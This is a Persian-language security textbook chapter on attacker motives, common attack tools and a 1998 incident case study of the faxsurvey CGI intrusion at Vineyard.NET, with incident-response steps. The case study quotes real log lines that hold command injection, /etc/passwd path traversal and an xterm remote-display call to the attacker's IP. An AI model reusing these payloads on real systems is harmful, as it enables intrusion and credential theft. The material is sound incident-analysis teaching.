  .اندازندبه راه ميجنجال ه عليه صنعت يا بازار كطلباني باشند ن است صرفاً آشوبكنند، يا ممكبراز ري را اك مسئله فكاست ي

سايتهاي متعلق بـه    ظاهر  ي  ك جنبش چري  كن است ي  كبراي مثال مم  . ن است برخلاف علايق ملي انجام شود      كاين وقايع گاهي مم   
 ة حوزكنند با حمله به سايتها در يكه تلاش ميكشوند  رادي مشاهده مي   در ساير موارد اف    .تغيير دهد  دسته از مخالفان دولتي را       كي
ستان، و پـس از آن      كنند؛ مانند درگيريهاي اسرائيل و فلسطين، جدال ميان هند و پا          ك حوزه ديگر برآورده     كومتي، هدفي را در ي    كح

ن اسـت   ك باشند، بعضي هم مم    جوش خود ن است ك مم تبسياري از اين تهاجما   . بمباران سفارت چين توسط نيروهاي ايالات متحده      
  .ريزي و حمايت مالي شوندومتها برنامهكتوسط خود ح

ه ك ـهـايي   ISP نفوذ در چـين، بـسياري از         كبراي مثال در خلال ي    . د اشخاص ثالث را نيز تحت تأثير قرار دهند        نتواناين وقايع مي  
دهندگانـشان تحـت تهـاجم    ه سـرويس ك متوجه شدند ردندك را در اطراف جهان ميزباني ميFalun Gongصفحات وب هواداران 

ه اين حمـلات بـا پـشتيباني دولـت     ك به دليل هماهنگي و تعدد حملات، مقامات مسئول معتقدند  .سايتهايي از داخل چين قرار دارند     
  .بوده است

  يافتهجرم سازمان

ه تصور شود عناصـر  كباورانه است خوش. استتبادل  درحال   هاي مالي در اينترنت   روزانه مقادير هنگفتي از اطلاعات با ارزش و داده        
هـايي از قبيـل      حملـه  .شـده گـسترش دهنـد     هكمند نيستند فعاليتهاي خود را به جهان شـب         خبر ندارند، يا علاقه    مسئلهار از اين    كتبه
نـد همگـي در     ه مقامـات مـسئول معتقد     كاست   هدايت شده رخ داده      onlineه بصورت   كشوئي  لاهبرداري، دزدي اطلاعات، و پول    ك

ها و فحـشا، قمـار، سـوداگري بـا مـواد            ه براي گسترش و هماهنگي خودفروشي     كارتباطات روي شب  . يافته هستند م سازمان ئ جرا ةزمر
عـلاوه  . شود، مورد استفاده قرار گرفته است     يافته مي م سازمان ئه معمولاً مشمول جرا   كغيرقانوني، هجوم مسلحانه، و ساير فعاليتهايي       

شف مشخـصات خبـر   ك ـدانـد يـا    در رابطه با آنها مي دولت  شف آنچه   كن است توسط مجرمين براي      كممقوانين  جراي  دواير ا بر آن   
  .رسانان و شهود، مورد هدف قرار گيرند
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وزاي ژاپـن،   كهاي سيـسيل، يـا     باند دزدان روسي، مافيائي    امروزه ديگر . اندردهك بيشتري پيدا    ة گستر اته، تهديد كبا جهاني شدن شب   
 مـاوس از    كلي ـك جهاني تنها چند     ةكاي جنوبي، و گروه اراذل و اوباش لس آنجلس، همه و همه روي شب             كآمريدر  د مخدر    موا تجار

  .م است نگرانندئه اينترنت در دهه آينده محل رشد جراكبسياري از مقامات دايره اجراي قوانين از اين. ما فاصله دارند

  لاشكارمندان ك

. انـد ردهكارفرمايان خود اقدام    ك، عليه   اذيت و آزار  توزي، يا   ينهكه براي انتقام،    كمهارت وجود دارند     با نانكراكو بالاخره، تعداد زيادي     
  .انداسبهاي تراوا جا دادهارفرمايشان ك ةدر راياننان اخراج شده كاركدر بعضي موارد، 

  مهاجمان بدنبال چه چيزي هستند

ه تحت ك اغلب مهاجمين از سيستمهايي بلکه ،نيست نفوذگر   كيار  كپايان   اي معمولاً  سيستم رايانه  كنترل ي كبدست گرفتن   صرف  
 سيستم را تحت    كه مهاجم ي  كپس از آن  . نندكهاي بعدي استفاده مي   اريكعنوان گام نخست حملات و خراب     اند ب فرمان خود در آورده   
  :انداز آن جمله. ه قرار گيردبار مختلفي مورد استفادتواند براي اهداف شرارتآورد، سيستم ميفرمان خود در مي

 ها عليه سيستمهاي ديگر؛استفاده اوشها يا سوءكشروع  •
 ؛سرويستخريب شده ت دادن سيستم در حملات توزيعكشر •
گاهي براي  عنوان وعده ه ب كند  كاندازي   راه ٣٩دهنده پيام ارتباط اينترنتي    سرويس كن است ي  كمثلاً مهاجم مم  (هاي مخفي   دهندهاجراي سرويس  •

 ؛)ندكفرستند عمل هاي دستبرد زده شده را پس مي ه دادهكهاي تراوا و ويروسهايي اسب
 ؛ و سيستمهاي به تسخير درآمده است، با هدف به تسخير درآوردن سيستمهاي بيشتركه مالك سازماني ةك شبةنترل مخفيانك •
 .ا انواع ديگر اطلاعات قاچاق، فحشا، يمسروقه هايافزار، نرماي از ابزارهاي تهاجمبه انبارهکردن آن تبديل  •

. گونه فعاليتهاي غيرقانوني شود دلايل زيادي وجـود دارد     بسترهاي عالي براي اين   تبديل به   ير درآمده   ه سيستمهاي به تسخ   كبراي اين 
ير ن است بتواند خرابي و اختلال بيشتري نسبت بـه سـا         ك مم ا سرعت بالا به اينترنت وصل باشد       سيستم به تسخير درآمده ب     كاگر ي 

ار مـسئولين در  ك ـردن كتوانند براي دشوارتر سيستمهاي به تسخير درآمده همچنين مي  . نترل مهاجم باعث شود   كسيستمهاي تحت   
هـاي  هاي زيادي در حوزه    مهاجم در ميان رايانه    كاگر ي . ارهاي مهاجم تا رسيدن به مهاجم واقعي مورد استفاده قرار گيرند          كرديابي  

ره ك ـدر   windows مبتني بـر     proxy ةدهند   سرويس ك در فرانسه تا ي    Unixتحت  حساب کاربري    كي مثلاً، از    -مختلفي بجهد   
وس ك ـن اسـت واقعـاً رديـابي مع       كمم - ك در نيويور  ٤٠شاهراهمسيرياب   ك تا ي  كزيك دانشگاهي در م   ةز رايان ك مر كجنوبي، و از ي   

  .شودن كمهاجم به سمت مبدأ غير مم

  ابزارهاي تجارت مهاجمين

  :گيرند عبارتند ازه معمولاً توسط مهاجمين مورد استفاده قرار ميك ابزارهايي اي ازگوشه

nc) a.k.a netcat(   
netcat هاي متبني بر    هك نوشته شد، چاقوي ارتش سوئيس براي شب       ٤١هوبيته در ابتدا توسط     كIP  بنـابراين   .  اسـتnetcat ك ي ـ 

 دلخواه بـه پورتهـاي دلخـواه        ة براي ارسال داد   netcatتوانيد از   مي. باشدابزار با ارزش راهبري و همچنين مفيد براي مهاجمين مي         
TCP/IP هاي محلي   دهندهسرويساندازي  هاي راه دور براي راه     رايانهTCP/IP   استفاده ٤٢پويشهاي مقدماتي پورت، و براي اجراي 

  .نيدك
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Trinoo) a.k.a. Trinoo(  
Trinoo كماند، و با دريافت پيـام ي ـ  سيستم راه دور ميك پيام از ي كدريافت ي اين برنامه منتظر    .  تهاجم است  ةدهند سرويس ك ي 

 از جملـه    Unixعاملهـاي    براي اغلـب سيـستم     Trinooهاي  نسخه. ندك شخص ثالث شروع مي    كسرويس را عليه ي   تخريب   ةحمل
Solaris  وRed Hat Linux وجود . موجود استTrinooروح از  تحليل مـش كي. باشدميصورت مخفيانه  معمولاً بTrinoo در 

  :آدرس زير قابل دسترسي است
http://staff.washington.edu/dittrich/misc/trinoo.analysis 

Back Orifice و Netbus  
ننـد،  كليد نظـارت    كهاي صفحه   نند بر ضربه  كه مهاجمان را قادر مي    كاسبهاي تراوايي هستند     windowsهاي مبتني بر    اين برنامه 

 بـه اجـرا   افزارها را روي سيستمهاي تحت فرمـان        نند، و نرم  ك download و   uploadها را   شته باشند، برنامه  به فايلها دسترسي دا   
  .درآورند

Botها  
Bot  مخفف  (هاrobotه كشـده در شـب    هاي پخـش   مهاجم روي تعدادي از رايانه     كه معمولاً بوسيله ي   كي هستند   كوچكهاي   برنامه )ها

انالهـاي  كروي  سـرويس   تخريـب    ةشـد حملات توزيع مهار و هدايت    از ابزارهاي مقدماتي براي     ي  كها ي Bot. گيرنداينترنت قرار مي  
ها ممکن است تـا      اين برنامه  .ها ممکن است بوسيلة ويروسها و يا اسبهاي تراوا توزيع شوند          Bot .باشنداينترنتي مي تقويت گفتگوي   

  .توان در کارهاي خودکار نيز بهره بردها ميbot از .افتندها، و يا ماهها غيرفعال باشند و پس از آن بکار بيروزها، هفته

Rootkitها  
rootkit دهـد،   رايانـه مـي    كاربر سطح بالا را در ي     كهاي  ه همزمان به مهاجم دسترسي    كا است   هاي از برنامه   برنامه يا مجموعه   ك ي

 Unixها براي سيـستمهاي     rootkitدر ابتدا   . ندك مي كگذارد، و هر ردپايي از حضور مهاجم را پا        ار مي كدربهاي مخفي را در رايانه      
 rootkit كي ـ. انـد  هم توليـد شـده  windows، ولي براي سيستمهاي ) آمـده جاهميننيز از   rootاربري  كحساب  و نام   (طراحي شده بودند    

بر سـطح بـالا   اركه دسترسي كهمين. انجام دهدزيادي  هاياربر سطح بالا تلاشكهاي ن است براي بدست آوردن دسترسي    كممنوعي  
 اصلي  ةآنگاه هست .  مخفي به آن اضافه شود     ب در كه ي كاي تغيير دهد     ورود به سيستم را بگونه     ةبرنامتواند  مي rootkitبدست آمد،   

 فرامين ؛يافته را بازگرداند مقدار تغييراصلي ة ورود به سيستم، بجاي برنام    ةه هر تلاش براي خواندن برنام     كدهد  اي تغيير مي  را بگونه 
 پنجن است   ك مم rootkit و در نهايت     ؛در نيايند نمايش  به   مهاجم   ةه از رايان  كه اتصالات شب  كاي تغيير داده شوند     ن است بگونه  كمم

  .ندكرايانه حذف  ةرا از حافظثبت فايلهاي انتهايي دقيقه 

  ٤٣رمهاك
نند تبديل به روش رايجي     كاستفاده مي وء  عاملها س اي سيستم هك شب يه يا اجزا  كهاي شب دهندهپذيريهاي سرويس ه از آسيب  كرمها  ك

  .اندها شدهردن آني تعداد زيادي از رايانهكبراي خدشه دار 

 Faxsurvey: مطالعه موردي
ت وارد شـده    ك اصلي وب شـر    ةدهند   به سرويس  httpاربر  كه  ك متوجه شد    Vineyard.NETارمند در   ك ك، ي ۱۹۹۸تبر  كدر هفتم ا  

  :است

Script started on Wed Oct 7 20:54:21 1998 
Bash-2.02# W 
8:57PM up 27 days, 14:19, 5 users, load averages: 0.28, 0.33, 0.35 
USER TTY FROM LOGIN@ IDLE WHAT 

                                                                                                                                            
43  Worms 

https://telegram.me/karnil
www.karnil.com


  نيامنيت فناوري اطلاعات و راهبران ف: بخش پنجم

 

٢٧١  

ش
بخ

 
جم

پن
  

http   p0 KRLDB110-06.spli Tue02AM 1days /bin/sh 
simsong p1 asy12.vineyard.n 8:42PM 15 -tcsh (tcsh) 
ericx p2 mac-ewb.vineyard 8:46PM 0 script 
ericx p3 mac-ewb.vineyard 8:46PM 11 top 
ericx p4 mac-ewb.vineyard 8:53PM 1 sleep 5 
bash-2.02# 

-سرويس. ردكار مي كبود  ه توسط فروشنده ارائه شده    كو اصلاحاتي    ٤٤هاوصله ة با هم  ۳,۱ نگارش   BSDIعامل  اين رايانه با سيستم   
ار نقـل و    ك ـاز رايانه براي شـروع عمليـات خود       . بود" Strong-hold" موسوم به    Apache ةدهند نسخه از سرويس   ك وب ي  ةدهند

 به نقـل و انتقـالات ايـن وجـوه، رايانـه             كمكبراي  . شدي در حسابهاي مشتريان استفاده مي     ارهاي خانگ كي وجوه   كترونيكانتقال ال 
  ).شدشده نگهداري ميگذاريخوشبختانه اين اطلاعات روي رايانه در قالب رمز. (ردكارت اعتباري را نگهداري ميكي و كاطلاعات حساب بان

 باشد  ISPن است عضو پرسنل     كاول، مم . تواند نتيجه دو چيز باشد    تم مي  به سيس  httpاربر بعنوان   ك ك موارد مشابه، ورود ي    ةدر هم 
ه راهي براي نفوذ بـه حـساب   كن است مهاجمي باشد كاينصورت ممرده، و در غير   كال استفاده مي  ك براي رفع اش   httpه از حساب    ك

http   اربر  كچون  . رده اما موفق نشده دسترسي بيشتري بدست آورد       ك پيداhttp  ه نـامش بـا      ك  رايانه ك از يKRLD110-06.spli 
  . دسترسي غير مجاز بوده استكه اين مسئله يكارمند اين مؤسسه فهميد كشد وارد سيستم شده بود، شروع مي

. نـد كرد تا اقدامات نفوذگر را ثبـت  ك را اجرا Unix مخصوص ةبرنامهقطع كيي از پرسنل بلافاصله برنامه     كشف شد، ي  كوقتي نفوذ   
 بامداد رخ   ۲شنبه ساعت   نفوذ اوليه در روز سه    . ه متصل نشد  ك روز به شب   كمزاحم بعد از آن تا مدت بيش از ي        ه شخص   كبنظر رسيد   

عادي بودند  دو پردازه غير  . بودند فهرست شوند  اجرا   درحال   ه در آنزمان در رايانه    ك ٤٥ييهاپردازه ةه هم ك گام بعدي اين بود      .داده بود 
رده ك ـار ك ـها از روز گذشـته شـروع بـه    هر دوي اين پوسته.  به اجرا در آمده بودندhttp ه توسطك bin/sh/ ٤٦پوسته دو نسخه از     -

  . بامداد۴ بامداد و ديگري ۲ي در ساعت كبودند؛ ي
bash-2.02# ps auxww 
USER PID %CPU %MEM VSZ RSS TT STATED TIME COMMAND 
root  11766 3.0 0.0 0 0 ?? Z 23Sep98 0:00.00 (admin-server) 
root  3763 1.0 0.0 0 0 ?? Z 2:03PM 0:00.00 (junkbuster) 
mail  18120 1.3 0.3 816 724 ?? S 8:56PM 0:00.46 smap 
root  17573 1.0 0.0 0 0 ?? Z 11:03AM 0:00.00(admin-server) 
root  16 0.0 0.0 68 64 ?? Is 10Sep98 0:00.00 asyncd 2 
root  18 0.0 0.0 68 64 ?? Is 10Sep98 0:00.02 asyncd 2 
root  28 0.0 8.0 748 20680 ?? Ss 10Sep98 0:16.32 mfs -o rw -s 40960 /dev/sdob/tmp 

(mount_mfs) 
root  53 0.0 0.1 268 296 ?? Ss 10Sep98 0:38.23 gettyd –s 
root  18670 0.0 0.5 560 1276 ?? S Tue02AM 0:04.77 (xterm) 
http  18671 0.0 0.1 244 276 p0 Is Tue02AM 0:02.23 /bin/sh 
http  26225 0.0 0.1 236 276 p0 I+ Tue04AM 0:00.7 /bin/sh 
… 

براي رويـارويي بـا ايـن تهديـد          ISP. رده است كار را رها    كرسيد شخص مزاحم موفق به نفوذ شده و سپس بنا به دلايلي             بنظر مي 
  :ردكزير را ابلاغ ضوابط 

  .نيدكفتادن است آگاه نحال اتفاق انفوذگر را از آنچه در .۱
 .نيدكپيدا  مبدأ شخص مزاحم را IPآدرس  .۲
هـا  از پـردازه  نسخه   كعليرغم باقي گذاشتن ي   فرمان  اين  . نيدكهاي مزاحم استفاده     براي توقف پردازه   Unix در   killاز فرمان    .۳

 .ندكدر حافظه، از اجراي آنها جلوگيري مي
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 .نيدكهاي شخص مزاحم تهيه از پردازهنويه نسخة ثا ك يUnixدر  gcoreبا استفاده از فرمان  .۴
 .نماييدنفوذگر تعريف  ISPهاي ارسالي از مبدأ ردن بستهك براي مسدود ISPدر مسيرياب ضابطه  كي .۵
 .از بين ببريداملاً ك kill -9هاي شخص مزاحم را با فرمان پردازه .۶
 .نيدكر گرفته را اصلاح استفاده قرا  مورد سوءةنيد نفوذگر چگونه وارد سيستم شده و حفركمشخص  .۷
 .مجريان قضايي را مطلع سازيد .۸

ار اطلاعـات جديـدي بدسـت       كبا انجام اين  . ار را انجام دهد   ك اين   netstatرد با استفاده از فرمان      ك سعي   ISPبراي رديابي نفوذگر،    
بـه  ) Apache.Vineyard.NET( وب ةدهنـد  از سرويسX11 اتصال  كه ي ك وارد سيستم نشده بود، بل     SSH يا   telnetنفوذگر با   . آمد
  .شد وجود داشت مهاجم اجرا ميةه در رايانك X ةدهند سرويسكي

bash-2.02# netstat -a 
Active Internet connections (including servers) 
Proto Recv-Q Send-Q Local Address Foreign Address (state) 
tcp  0  0 VINEYARD.NET.http nhv-ct4-09.ix.ne.1137 SYN_RCVD 
tcp  0  0 VINEYARD.NET.http nhv-ct4-09.ix.ne.1136 SYN_RCVD 
tcp  0  0 VINEYARD.NET.http nhv-ct4-09.ix.ne.1135 SYN_RCVD 
tcp  0  0 VINEYARD.NET.http DSY27.VINEYARD.N.1079 SYN_RCVD 
tcp  0  2456 VINEYARD.NET.http nhv-ct4-09.ix.ne.1134 ESTABLISHED 
tcp  0  2268 VINEYARD.NET.http DSY27.VINEYARD.N.1078 ESTABLISHED 
tcp  0  2522 VINEYARD.NET.http 209.174.140.26.1205 ESTABLISHED 
tcp  0  8192 VINEYARD.NET.http host-209-214-118.1785 ESTABLISHED 
tcp  0  4916 VINEYARD.NET.http host-209-214-118.1784 ESTABLISHED 
tcp  0  0 VINEYARD.NET.http host-209-214-118.1783 ESTABLISHED 
tcp  0  0 VINEYARD.NET.http ASY14.VINEYARD.N.1163 FIN_WAIT_2 
tcp  0  0 LOCALHOST.VINEYA.sendm LOCALHOST.VINEYA.1135 ESTABLISHED 
tcp  0  0 LOCALHOST.VINEYA.1135 LOCALHOST.VINEYA.sendm ESTABLISHED 
tcp  0  0 VINEYARD.NET.smtp 208.135.218.34.1479 ESTABLISHED 
tcp  0  3157 VINEYARD.NET.pop ASY5.VINEYARD.NE.1027 ESTABLISHED 
tcp  0  0 APACHE.VINEYARD..ssh MAC-EWB.VINEYARD.2050 ESTABLISHED 
tcp  0  0 VINEYARD.NET.http host-209-214-118.1782 FIN_WAIT_2 
tcp  0  0 VINEYARD.NET.http host-209-214-118.1781 FIN_WAIT_2 
tcp  0  0 VINEYARD.NET.http host-209-214-118.1775 FIN_WAIT_2 
tcp  0  0 VINEYARD.NET.http 56k-2234.hey.net.1099 FIN_WAIT_2 
tcp  0  0 VINEYARD.NET.https ESY8.VINEYARD.NE.1557 FIN_WAIT_2 
tcp  0  0 LOCALHOST.VINEYA.sendm LOCALHOST.VINEYA.1058 ESTABLISHED 
tcp  0  0 LOCALHOST.VINEYA.1058 LOCALHOST.VINEYA.sendm ESTABLISHED 
tcp  0  0 APACHE.VINEYARD..smtp m28.boston.juno..54519 ESTABLISHED 
tcp  0  0 APACHE.VINEYARD..ssh MAC-EWB.VINEYARD.nfs ESTABLISHED 
tcp  0  328 APACHE.VINEYARD..ssh MAC-EWB.VINEYARD.2048 ESTABLISHED 
tcp  0  0 VINEYARD.NET.http ASY14.VINEYARD.N.1162 FIN_WAIT_2 
tcp  0  0 VINEYARD.NET.http ASY14.VINEYARD.N.1160 FIN_WAIT_2 
tcp  0  0 NEXT.VINEYARD.NE.ssh ASY12.VINEYARD.N.1047 ESTABLISHED 
tcp 0  7300 VINEYARD.NET.pop DSY27.VINEYARD.N.1061 ESTABLISHED 
tcp  0  0 NEXT.VINEYARD.NE.imap2 ASY12.VINEYARD.N.1041 ESTABLISHED 
tcp  0  0 VINEYARD.NET.3290 VINEYARD.NET.imap2 CLOSE_WAIT 
tcp  0  0 VINEYARD.NET.ssh simsong.ne.media.1017 ESTABLISHED 
tcp  0  0 APACHE.VINEYARD..3098 KRLDB110-06.spli.X11 ESTABLISHED 
tcp  8760 0 VINEYARD.NET.1022 BACKUP.VINEYARD..ssh ESTABLISHED 
tcp  0  0 LOCALHOST.VINEYA.4778 *.* LISTEN 
tcp  0  0 LOCALHOST.VINEYA.domai *.* LISTEN 
tcp  0  0 NET10.VINEYARD.N.domai *.* LISTEN 
tcp  0  0 SMTP4.VINEYARD.N.domai *.* LISTEN 
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ISP      برنامه  هقطع كپذيري در ي   آسيب كه مهاجم از ي   ك به اين نتيجه رسيدCGI  كريزي ي براي تخم xterm      به دسـتگاه راه دور 
  :شدانجام  ISP وب ةدهندسرويسثبتهاي  جستجوي سريع در ميان كبراي آزمون اين فرضيه، ي. رده استكخود استفاده 

% grep -I krldb110-06 /vni/apache/log/access_log 
1. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:48 -0400] “GET /cgi-bin/ 

phf?Qname=me%0als%20-lFa 
HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva” 

2. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:50 -0400] “GET /cgi-bin/ faxsurvey?ls%20-
lFa HTTP/1.0” 
200 5469 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva” 

3. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:52 -0400] “GET /cgi-bin/ 
viewsource?../../../../../../../../ 
etc/passwd HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 
98)” “/htdocs/biz/captiva” 

4. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:53 -0400] “GET /cgi-bin/ 
htmlscript?../../../../../../../../etc/passwd HTTP/1.0” 404 - “-” “Mozilla/ 4.0 (compatible; MSIE 
4.01;Windows 98)” “/htdocs/biz/captiva” 

5. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:54 -0400] “GET /cgi-bin/ 
campas?%0als%20-lFa 
HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4. 01; Windows 98)” 
“/htdocs/biz/captiva” 

6. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:55 -0400] “GET /cgi-bin/ 
handler/useless_shit;ls%20- 
lFa|?data=Download HTTP/1.0” 404 - “-” “Mozilla/ 4.0 (compatible; MSIE 4.01; Windows 
98)” “/htdocs/biz/captiva” 

7. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:56 -0400] “GET /cgi-bin/ 
php.cgi?/etc/passwd 
HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4. 01; Windows 98)” 
“/htdocs/biz/captiva” 

8. krldb110-06.splitrock.net - - [06/Oct/1998:02:54:30 -0400] “GET /cgi-bin/ faxsurvey?ls%20-
lFa HTTP/1.1” 
200 5516 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva” 

9. krldb110-06.splitrock.net - - [06/Oct/1998:02:54:44 -0400] “GET /cgi-bin/ 
faxsurvey?uname%20-a 
HTTP/1.1” 200 461 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” 
“/htdocs/biz/captiva” 

10. krldb110-06.splitrock.net - - [06/Oct/1998:02:55:03 -0400] “GET /cgi-bin/ faxsurvey?id 
HTTP/1.1” 200 
381 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva” 

11. krldb110-06.splitrock.net - - [06/Oct/1998:02:55:39 -0400] “GET /cgi-bin/ 
faxsurvey?cat%20/etc/passwd 
HTTP/1.1” 200 79467 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” 
“/htdocs/biz/captiva” 

12. krldb110-06.splitrock.net - - [06/Oct/1998:02:55:44 -0400] “GET /cgi-bin/ faxsurvey?ls%20-
lFa%20/usr/ 
HTTP/1.1” 200 1701 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” 
“/htdocs/biz/captiva” 

13. krldb110-06.splitrock.net - - [06/Oct/1998:04:31:55 -0400] “GET /cgi-bin/ faxsurvey?id 
HTTP/1.1” 200 
381 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/web.vineyard.net” 

14. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:01 -0400] “GET /cgi-bin/ faxsurvey?pwd 
HTTP/1.1” 200 
305 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/web.vineyard.net” 

15. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:08 -0400] “GET /cgi-bin/ 
faxsurvey?/bin/pwd HTTP/1.1” 
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200 305 “-” “Mozilla/4.0 (compatible; MSIE 4. 01; Windows 98)” “/htdocs/web.vineyard.net” 
16. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:33 -0400] “GET /cgi-bin/ faxsurvey?ls%20-

lFa HTTP/1.1” 
200 5516 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/web.vineyard.net” 

17. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:55 -0400] “GET /cgi-bin/ faxsurvey?ls%20- 
lFa%20../conf/ HTTP/1.1” 200 305 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” 
“/htdocs/web.vineyard.net” 

ه ك ـ ك ابـزار اتوماتي ـ كرسـد مهـاجم از ي ـ  بنظـر مـي  . انـد دادهديگر رخ ك ـ با چند ثانيه اختلاف بـا ي       ۷ تا   ۱ سطرهاي   هكنيد  كتوجه  
مربوط به   ةبرنامهقطعپذيري در    آسيب ك، مهاجم از ي   ۱۷ تا   ۸در سطرهاي   . است ردهكند استفاده   ك را پيدا مي   CGIپذيريهاي   آسيب

faxsurvey ه ك ـ دليـل آن ايـن اسـت         كي.  ابزار متفاوت انجام شده    كبه احتمال قريب به يقين با ي      ار  كناي. نمايداستفاده مي   سوء
  .تغيير يافته است" HTTP/1.1 " به HTTP/1.0""رده از كگيرنده آنرا پشتيباني ميه سرويسك HTTPل ك پروتةنسخ

بـا اسـتفاده از     .  بوده اسـت   krldb110-06.splitrock.netامل ميزبان مهاجم    كه اسم   كرد  كار  ك وب آش  ةدهندسرويسثبت  فايل  
  : واقعي ترجمه شودIP آدرس كتواند به ي، اين آدرس ميhostفرمان 

apache: {43} % host krldb110-06.splitrock.net 
krldb110-06.splitrock.net has address 209.156.113.121 
apache: {44} % 

دهـد فـرامين    ه بـه مهـاجم اجـازه مـي        ك نقصي دارد    cgi-bin/faxsurvey/ برنامههقطعه  كرسد  ، بنظر مي  ثبتبا بررسي اين فايل     
). هاي متفاوت بپردازد؟  ها با آرگومان  URLبه ارسال   برنامه  هقطعن بود مهاجم با فراخواني اين       كدر غير اينصورت به چه دليل ديگر مم       (ند  كدلخواه را اجرا    

  :آمده بودندمهاجم به اجرا در ميداشت، آنگاه فرامين زير بايد توسط اگر اين مسئله صحت مي
ls -lFa 
ls -lFa 
uname -a 
id 
cat /etc/passwd 
ls -lFa /usr/ 
id 
pwd 
/bin/pwd 
ls -lFa 
ls -lFa../conf/ 

 امـا بـه خـوبي روشـن     ، برسدxtermه چگونه مهاجم توانسته از اجراي اين فرامين به اجراي فرمان     ك روشن نيست    ثبتاز فايلهاي   
 در فرمـان    X11اجـرا، و سـطر       درحال   xterm ة، پرداز w در خروجي فرمان     HTTP اجرا شده، چون سطر      xtermه فرمان   كاست  

netstatشواهدي بر اين مسئله هستند .  

 ٤٧پيامهـا  ثبـت  فايـل  در   كوك مش ة نتيج كي. ردكجستجو  ثبت   براي يافتن نام ميزبان مهاجم در ساير فايلهاي          ISPدر اين مرحله،    
  :ندكاستفاده   سوءqpopper يا POP نقص در كه از يكرده كاجم تلاش  ظاهراً مه-پيدا شد 

apache: {15} % grep -i krldb110-06 * 
messages:Oct 6 03:38:29 apache popper.bsdos[22312]: @KRLDB110-06. splitrock.net: -ERR 
POP 
timeout 

هـا از    پردازشي ذخيره شد، و آنگـاه پـردازه        ة تصويري از حافظ   هاي شخص مهاجم، آنها متوقف شدند،      پردازه ةبراي محافظت از سابق   
  .حافظه بيرون انداخته شدند
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مجوزهـاي  . نـد ك مهـاجم را مـسدود       IP اضـافه شـد تـا دسترسـي از آدرسـهاي             ISPهاي  به مـسيرياب  ضابطه   ك ي اركبه دنبال اين  
چنـد روز  .  تجسس آماده باشدكه چيز براي شروع ي براي جلوگيري از هرگونه دسترسي تغيير يافتند تا هم   faxsurvey ةبرنام هقطع

  . وب حذف شدةدهنداز روي سرويسبرنامه هكتبعد هم 

ISP ت خدماتي   ك با شر  قربانيSplitRock  همان   ؛ تماس گرفت ISP ه مسئوليت آدرس    كIP    مـشخص  . دار بـود   مهاجم را عهـده
. رده اسـت ك ـ اجاره تهيه ة موافقتنامكد را براساس ي ديگر تهيه شده بودنISPه براي ك modem pool چند SplitRockه كشد 
  .ردكه بتوان در تحقيقات آتي از آنها استفاده كند كخود را طوري نگهداري ثبت ه فايلهاي ك خواسته شد SplitRockاز 

هـا  رشـته  از    گـروه  كي ـ.  مهاجم بدسـت آيـد     ةه اطلاعات بسيار بيشتري دربار    كان بوجود آمد    ك اين ام  stringsبا استفاده از فرمان     
 rootkit كرسيد مهاجم ي  بنظر مي . ندشده توسط شخص مهاجم بود    از فرامين تايپ  فهرستي  ه  ك،  ندشدمي ٤٨پوسته ةسابقمربوط به   

  : سيستم انجام دهدIMAP ةدهند عليه سرويسBuffer٤٩ يسرريز ةحمل كه يكرده و همچنين تلاش داشته ك downloadرا 

-lFa  gcc -o s s.c 
st2.c  ftp 209.156.113.121 
cron.c  gcc -o s st2.c 
cxterm.c ./s console 
x2.c  t.s 
qpush.c .121 
cat t.c  qpush.c 
cat.c  ppp.c 
cat s.c  t2.c 
gc c  cron.c 
ls -lFa  cxterm.c 
./s -v c2  tcsh 
./s p0  x2.c 
ls -lFa /  README 
cat.s  README.debian 
ls -lFa  qpush 
cat /w  qpush.c 
ls -lFa /  qpush.c.old 
cat.s  Gf: not found 
_=.s  /tmp 
$ : not found  mfs:28 
gcc -o s steal.c /bin/sh 
ls -lFa *.c 
/bin/sh 
/bin/sh 
/etc/inetd.conf 
qpush.c 
/usr/bin/gcc 
n/gcc 
./cc 
Expr 
Done 
/bin/sh 
inetd.conf 
t) | telnet 127.1 143 
cd /etc 
cat.s 
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which pwd 
ls –lFa 
expr $L + 1 
ls –lFa 
./cc –10 
./cc 

توانستند از   ه مي كبسياري از آنها متغييرهائي بودند      . بودندپوسته  حافظه پيدا شدند متناظر متغييرهاي      تصاوير  ه در   ك هارشتهنوع دوم   
 CGI تهـاجم  ك ية نتيجه اجراي پوسته  كه مؤيد اين بود     ك -  پردازه تنظيم شوند   ك براي ي  CGI ةبرنامهقطع كريزي ي طريق تخم 

مربـوط بـه    ةبرنام ـهقطع ـآن بـود،  متوجـه  ه مـسئوليت نفـوذ      ك CGI ةبرنامهقطعرد آن   كتأييد مي ) بخش زير (اين قسمت    .ه است بود
faxsurveyبود :  

GATEWAY_INTERFACE=CGI/1.1 
REMOTE_HOST=krldb110-06.splitrock.net 
MACHTYPE=i386-pc-bsdi3.1 
HOSTNAME=apache.vineyard.net 
L=100 
SHLVL=1 
REMOTE_ADDR=209.156.113.121 
QUERY_STRING=/usr/X11R6/bin/xterm%20-display%20209.156.113.121:0.0%20- rv%20-
